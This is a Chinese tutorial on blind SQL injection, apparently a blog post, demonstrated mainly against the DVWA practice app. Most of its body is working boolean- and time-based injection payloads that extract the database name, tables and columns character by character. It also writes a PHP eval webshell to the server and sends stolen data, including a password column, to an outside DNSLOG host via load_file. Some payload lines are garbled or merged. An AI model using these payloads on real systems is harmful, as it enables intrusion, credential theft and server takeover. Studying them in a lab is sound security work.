SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

0x01分类

Booleanbase(基于布尔)
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
Timebase(基于时间)
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

0x02常用函数

1
2
3
4
5
6
7
substr()  substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
count() 计数函数 count()函数是用来统计表中记录的一个函数,返回匹配条件的行数
select count(*) from mysql.user where id =1
ascii()返回对应字符的十进制值
length() 返回字符串长度
left() left(str, length),即:left(被截取字符串, 截取长度)

0x03手工盲注的步骤

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

0x04布尔盲注

1.判断注入点

1
2
3
4
1' or 1=1#
1' or 1=2#
如果注入点在order by后面,那么则可以使用判断语句来构造报错。
select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;

2.进行数据库猜解

1
2
3
4
5
6
7
8
9
10
11
12
13
数据库长度:1' and length(database())=4 #
数据库名:
二分法猜解表:通过与ascii码对照,一位一位的得出字符
1' and ascii(substr(database(),1,1))>97# 页面返回存在
1’ and 1 1' and ascii(substr(database(),1,1))>100# 页面返回不存在 1' and ascii(substr(database(),1,1))<103# 页面返回存在 1' and ascii(substr(database(),1,1))<100# 页面返回不存在
最终发现:数据库名的第一位字符的ascii码值为 100,则得到字母d
重复上述步骤,就可以猜解出完整的数据库名dvwa了

3.猜表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
得知有 2 个表,继续使用length()函数来猜测表名的长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 显示不存在
User
guestbook
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
···
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为 9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),,1))=97 # 显示存在
User
U
99 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名guestbook、users。

4.猜解表中的字段名
首先猜解表中字段的数量:

1
2
3
4
5
6
7
8
9
10
11
12
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

…

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明users表有 8 个字段。
接着挨个猜解字段名长度:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为 7 个字符长度。
采用二分法,即可猜解出所有字段名。

5.猜解数据

1
同样采用二分法

0x05时间盲注

1.判断是否存在注入,注入是字符型还是数字型

1
2
1' and sleep(5) #感觉到明显延迟;
1 and sleep(5) #没有延迟;

2.猜解当前数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
首先猜解数据名的长度
1' and if(length(database())=1,sleep(5),1) # 没有延迟 1' and if(length(database())=2,sleep(5),1) # 没有延迟 1' and if(length(database())=3,sleep(5),1) # 没有延迟 1' and if(length(database())=4,sleep(5),1) # 明显延迟 If函数 IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
说明数据库名长度为 4 个字符。
接着采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
… 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名

3.猜解数据库中的表名

1
2
3
4
5
6
7
8
9
10
11
12
13
首先猜解数据库中表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为 9 个字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟 … 1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有 8 个字段。
接着挨个猜解字段名:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为 7 个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据

1
同样采用二分法。

0x06导出Webshell

1
2
知道物理路径,且有MYSQL的ROOT权限
1' union select "<?php @eval($_GET['xxx']) ?>",2 into outfile 'C:\\phpStudy\\WWW\\123.php'#

0x07DNS注入(盲注的眼睛)

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

函数

load_file函数:加载一个文件

原理

示例

Mysql

1
2
3
4
5
1.
test' and if((select load_file(concat('\\\\',(select database()),'.fz0bj5.ceye.io\\abc'))),1,1)#
test' and if((select load_file(concat('\\\\',(select user()),'.fz0bj5.ceye.io\\abc'))),1,1)#
然后查看ceye,成功获取到了数据库名称
对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

1
2
3
4
5
6
7
8
2.查表名
test' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mkcms' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
3.查字段
test' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='mkcms_user' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
4.查字段值
test' and if((select load_file(concat('\\\\',(select u_password from mkcms_user limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#
5.导出webshell(知道物理路径且Mysql为root权限)
test' union select "<?php @eval($_POST['wade']); ?>" into outfile 'C:\\phpstudy\\www\\wade.php'#

SQL Injection(Blind)的更多相关文章

  1. DVWA靶场之SQL injection(blind)通关

    盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注 基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数.判断回显位置了) 判断注入类型 破 ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  4. Fortify漏洞之Sql Injection(sql注入)

    公司最近启用了Fortify扫描项目代码,报出较多的漏洞,安排了本人进行修复,近段时间将对修复的过程和一些修复的漏洞总结整理于此! 本篇先对Fortify做个简单的认识,同时总结一下sql注入的漏洞! ...

  5. sql事务(Transaction)用法介绍及回滚实例

    sql事务(Transaction)用法介绍及回滚实例 事务(Transaction)是并发控制的单位,是用户定义的一个操作序列.这些操作要么都做,要么都不做,是一个不可分割的工作单位.通过事务, S ...

  6. 【腾讯云的1001种玩法】在腾讯云上创建您的SQL Cluster(5)

    版权声明:本文由李斯达 原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/97264001482830465 来源:腾云阁 h ...

  7. SQL Server(六)——索引、视图和SQL编程

    1.索引 添加索引,设计界面,在任何一列前右键--索引/键--点击进入添加某一列为索引 2.视图 视图就是我们查询出来的虚拟表 创建视图:create view 视图名 as SQL查询语句,分组,排 ...

  8. SQL总结(一)基本查询

    SQL总结(一)基本查询 SQL查询的事情很简单,但是常常因为很简单的事情而出错.遇到一些比较复杂的查询我们更是忘记了SQL查询的基本语法. 本文希望通过简单的总结,把常用的查询方法予以总结,希望能够 ...

  9. SQL总结(二)连表查询

    ---恢复内容开始--- SQL总结(二)连表查询 连接查询包括合并.内连接.外连接和交叉连接,如果涉及多表查询,了解这些连接的特点很重要. 只有真正了解它们之间的区别,才能正确使用. 1.Union ...

随机推荐

  1. Ubuntu下python开发环境搭建

    配置语言 1) 依次点击设置--Region & Language--Manage Installed Languages --install/remove language--chinese ...

  2. Chrome报错提示Unchecked runtime.lastError: The message port closed before a response was received.

    经过查询,此错误是Chrome扩展插件引起的.由于Chrome修改了API接口,原来的请求被拦截.(Chrome 73 onwards disallows cross-origin requests ...

  3. 2g 大文件上传

    核心原理: 该项目核心就是文件分块上传.前后端要高度配合,需要双方约定好一些数据,才能完成大文件分块,我们在项目中要重点解决的以下问题. * 如何分片: * 如何合成一个文件: * 中断了从哪个分片开 ...

  4. BZOJ 2976: [Poi2002]出圈游戏 Excrt+set

    人数很少,可以直接用 $set$ 来模拟人的情况. 然后就能得到若干个方程,用 $excrt$ 进行合并即可. #include <set> #include <cmath> ...

  5. vue 甘特图简单制作

    甘特图(Gantt chart)又称为横道图.条状图(Bar chart).其通过条状图来显示项目,进度,和其他时间相关的系统进展的内在关系随着时间进展的情况.以提出者亨利·L·甘特(Henrry L ...

  6. Codeforces 437D The Child and Zoo(并查集)

    Codeforces 437D The Child and Zoo 题目大意: 有一张连通图,每个点有对应的值.定义从p点走向q点的其中一条路径的花费为途径点的最小值.定义f(p,q)为从点p走向点q ...

  7. R-aggregate()

    概述 aggregate函数应该是数据处理中常用到的函数,简单说有点类似sql语言中的group by,可以按照要求把数据打组聚合,然后对聚合以后的数据进行加和.求平均等各种操作. x=data.fr ...

  8. Tree-based Model 如何处理categorical variable

    categorical variable 分为 order variale 和 non-order variable,其中order variable直接使用sklearn.preprocess.La ...

  9. logback条件日志配置

    logback支持条件日志配置,支持在测试环境和正式环境使用不同的参数启用不同的日志配置,从而避免手动修改日志配置文件.项目除了引入logback的包以外,还需要引入构件org.codehaus.ja ...

  10. tensorflow源码分析——BasicLSTMCell

    BasicLSTMCell 是最简单的LSTMCell,源码位于:/tensorflow/contrib/rnn/python/ops/core_rnn_cell_impl.py.BasicLSTMC ...